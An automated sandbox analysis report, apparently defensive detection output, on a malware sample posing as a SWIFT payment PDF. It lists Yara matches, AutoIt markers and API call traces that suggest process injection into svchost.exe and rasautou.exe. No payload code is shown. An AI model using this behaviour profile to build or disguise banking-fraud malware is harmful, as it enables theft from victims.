Code function: 0_2_0098F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0098F7FF

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4613350413.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2315508419.00000000049A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4613324935.0000000002D70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4613219723.0000000002D70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4602405101.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4613399783.0000000004BC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2314669018.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2316526821.0000000006480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00923D19
Source: SWIFT COPY 0028_pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: SWIFT COPY 0028_pdf.exe, 00000000.00000000.2136017307.00000000009CE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ca2ffd59-d
Source: SWIFT COPY 0028_pdf.exe, 00000000.00000000.2136017307.00000000009CE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_47e9354c-b
Source: SWIFT COPY 0028_pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_31e6e413-e
Source: SWIFT COPY 0028_pdf.exe	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_3b925906-f

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SWIFT COPY 0028_pdf.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042CDE3 NtClose,	2_2_0042CDE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72B60 NtClose,LdrInitializeThunk,	2_2_03C72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03C72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03C72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C735C0 NtCreateMutant,LdrInitializeThunk,	2_2_03C735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C74340 NtSetContextThread,	2_2_03C74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C74650 NtSuspendThread,	2_2_03C74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BE0 NtQueryValueKey,	2_2_03C72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BF0 NtAllocateVirtualMemory,	2_2_03C72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72B80 NtQueryInformationFile,	2_2_03C72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BA0 NtEnumerateValueKey,	2_2_03C72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AD0 NtReadFile,	2_2_03C72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AF0 NtWriteFile,	2_2_03C72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AB0 NtWaitForSingleObject,	2_2_03C72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FE0 NtCreateFile,	2_2_03C72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F90 NtProtectVirtualMemory,	2_2_03C72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FA0 NtQuerySection,	2_2_03C72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FB0 NtResumeThread,	2_2_03C72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F60 NtCreateProcessEx,	2_2_03C72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F30 NtCreateSection,	2_2_03C72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72EE0 NtQueueApcThread,	2_2_03C72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72E80 NtReadVirtualMemory,	2_2_03C72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72EA0 NtAdjustPrivilegesToken,	2_2_03C72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72E30 NtWriteVirtualMemory,	2_2_03C72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DD0 NtDelayExecution,	2_2_03C72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DB0 NtEnumerateKey,	2_2_03C72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D00 NtSetInformationFile,	2_2_03C72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D10 NtMapViewOfSection,	2_2_03C72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D30 NtUnmapViewOfSection,	2_2_03C72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CC0 NtQueryVirtualMemory,	2_2_03C72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CF0 NtOpenProcess,	2_2_03C72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CA0 NtQueryInformationToken,	2_2_03C72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C60 NtCreateKey,	2_2_03C72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C00 NtQueryInformationProcess,	2_2_03C72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73090 NtSetValueKey,	2_2_03C73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73010 NtOpenDirectoryObject,	2_2_03C73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C739B0 NtGetContextThread,	2_2_03C739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73D70 NtOpenThread,	2_2_03C73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73D10 NtOpenProcessToken,	2_2_03C73D10
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E44650 NtSuspendThread,LdrInitializeThunk,	4_2_04E44650
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E44340 NtSetContextThread,LdrInitializeThunk,	4_2_04E44340
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_04E42CA0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42C60 NtCreateKey,LdrInitializeThunk,	4_2_04E42C60
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_04E42C70
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_04E42DF0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42DD0 NtDelayExecution,LdrInitializeThunk,	4_2_04E42DD0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_04E42D30
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_04E42D10
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_04E42EE0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42E80 NtReadVirtualMemory,LdrInitializeThunk,	4_2_04E42E80
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42FE0 NtCreateFile,LdrInitializeThunk,	4_2_04E42FE0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42FB0 NtResumeThread,LdrInitializeThunk,	4_2_04E42FB0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42F30 NtCreateSection,LdrInitializeThunk,	4_2_04E42F30
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42AF0 NtWriteFile,LdrInitializeThunk,	4_2_04E42AF0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42AD0 NtReadFile,LdrInitializeThunk,	4_2_04E42AD0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42BE0 NtQueryValueKey,LdrInitializeThunk,	4_2_04E42BE0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_04E42BF0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42BA0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_04E42BA0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42B60 NtClose,LdrInitializeThunk,	4_2_04E42B60
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E435C0 NtCreateMutant,LdrInitializeThunk,	4_2_04E435C0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E439B0 NtGetContextThread,LdrInitializeThunk,	4_2_04E439B0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42CF0 NtOpenProcess,	4_2_04E42CF0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42CC0 NtQueryVirtualMemory,	4_2_04E42CC0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42C00 NtQueryInformationProcess,	4_2_04E42C00
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42DB0 NtEnumerateKey,	4_2_04E42DB0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42D00 NtSetInformationFile,	4_2_04E42D00
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42EA0 NtAdjustPrivilegesToken,	4_2_04E42EA0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42E30 NtWriteVirtualMemory,	4_2_04E42E30
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42FA0 NtQuerySection,	4_2_04E42FA0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42F90 NtProtectVirtualMemory,	4_2_04E42F90
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42F60 NtCreateProcessEx,	4_2_04E42F60
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42AB0 NtWaitForSingleObject,	4_2_04E42AB0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E42B80 NtQueryInformationFile,	4_2_04E42B80
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E43090 NtSetValueKey,	4_2_04E43090
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E43010 NtOpenDirectoryObject,	4_2_04E43010
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E43D70 NtOpenThread,	4_2_04E43D70
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E43D10 NtOpenProcessToken,	4_2_04E43D10
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E79A60 NtDeleteFile,	4_2_02E79A60
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E79B00 NtClose,	4_2_02E79B00
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E79800 NtCreateFile,	4_2_02E79800
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E79970 NtReadFile,	4_2_02E79970
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E79C60 NtAllocateVirtualMemory,	4_2_02E79C60

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00966685: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00966685

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0095ACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_0095ACC5

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_009679D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_009679D3

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0094B043	0_2_0094B043
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00933200	0_2_00933200
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00933B70	0_2_00933B70
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0095410F	0_2_0095410F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009402A4	0_2_009402A4
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0095038E	0_2_0095038E
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0092E3B0	0_2_0092E3B0
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009406D9	0_2_009406D9
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0095467F	0_2_0095467F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0098AACE	0_2_0098AACE
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00954BEF	0_2_00954BEF
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0094CCC1	0_2_0094CCC1
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00926F07	0_2_00926F07
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0092AF50	0_2_0092AF50
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009831BC	0_2_009831BC
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0094D1B9	0_2_0094D1B9
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0093B11F	0_2_0093B11F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0094123A	0_2_0094123A
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0095724D	0_2_0095724D
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009613CA	0_2_009613CA
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009293F0	0_2_009293F0
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0093F563	0_2_0093F563
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009296C0	0_2_009296C0
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0096B6CC	0_2_0096B6CC
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009277B0	0_2_009277B0
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0098F7FF	0_2_0098F7FF
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009579C9	0_2_009579C9
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0093FA57	0_2_0093FA57
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00929B60	0_2_00929B60
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00927D19	0_2_00927D19
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00949ED0	0_2_00949ED0
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0093FE6F	0_2_0093FE6F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00927FA3	0_2_00927FA3
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_010284F8	0_2_010284F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418C93	2_2_00418C93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403060	2_2_00403060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004010E0	2_2_004010E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004022C0	2_2_004022C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004022BA	2_2_004022BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004013B0	2_2_004013B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042F423	2_2_0042F423
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402428	2_2_00402428
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402430	2_2_00402430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004104A3	2_2_004104A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004106C3	2_2_004106C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004026F6	2_2_004026F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416E8F	2_2_00416E8F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416E93	2_2_00416E93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E743	2_2_0040E743
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402700	2_2_00402700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D003E6	2_2_03D003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA352	2_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC02C0	2_2_03CC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF81CC	2_2_03CF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF41A2	2_2_03CF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D001AA	2_2_03D001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC8158	2_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30100	2_2_03C30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3C7C0	2_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64750	2_2_03C64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5C6E0	2_2_03C5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D00591	2_2_03D00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEE4F6	2_2_03CEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF2446	2_2_03CF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE4420	2_2_03CE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF6BD7	2_2_03CF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFAB40	2_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0A9A6	2_2_03D0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962	2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E8F0	2_2_03C6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C268B8	2_2_03C268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4A840	2_2_03C4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C42840	2_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32FC8	2_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4CFE0	2_2_03C4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBEFA0	2_2_03CBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4F40	2_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C82F28	2_2_03C82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60F30	2_2_03C60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE2F30	2_2_03CE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFEEDB	2_2_03CFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52E90	2_2_03C52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFCE93	2_2_03CFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40E59	2_2_03C40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFEE26	2_2_03CFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3ADE0	2_2_03C3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C58DBF	2_2_03C58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4AD00	2_2_03C4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDCD1F	2_2_03CDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30CF2	2_2_03C30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0CB5	2_2_03CE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40C00	2_2_03C40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C8739A	2_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D34C	2_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF132D	2_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C452A0	2_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4B1B0	2_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7516C	2_2_03C7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0B16B	2_2_03D0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF0CC	2_2_03CEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF70E9	2_2_03CF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF0E0	2_2_03CFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF7B0	2_2_03CFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF16CC	2_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C85630	2_2_03C85630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D095C3	2_2_03D095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDD5B0	2_2_03CDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7571	2_2_03CF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C31460	2_2_03C31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF43F	2_2_03CFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB5BF0	2_2_03CB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7DBF9	2_2_03C7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5FB80	2_2_03C5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFB76	2_2_03CFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEDAC6	2_2_03CEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDDAAC	2_2_03CDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C85AA0	2_2_03C85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE1AA3	2_2_03CE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFA49	2_2_03CFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7A46	2_2_03CF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB3A6C	2_2_03CB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C49950	2_2_03C49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B950	2_2_03C5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD5910	2_2_03CD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C438E0	2_2_03C438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAD800	2_2_03CAD800
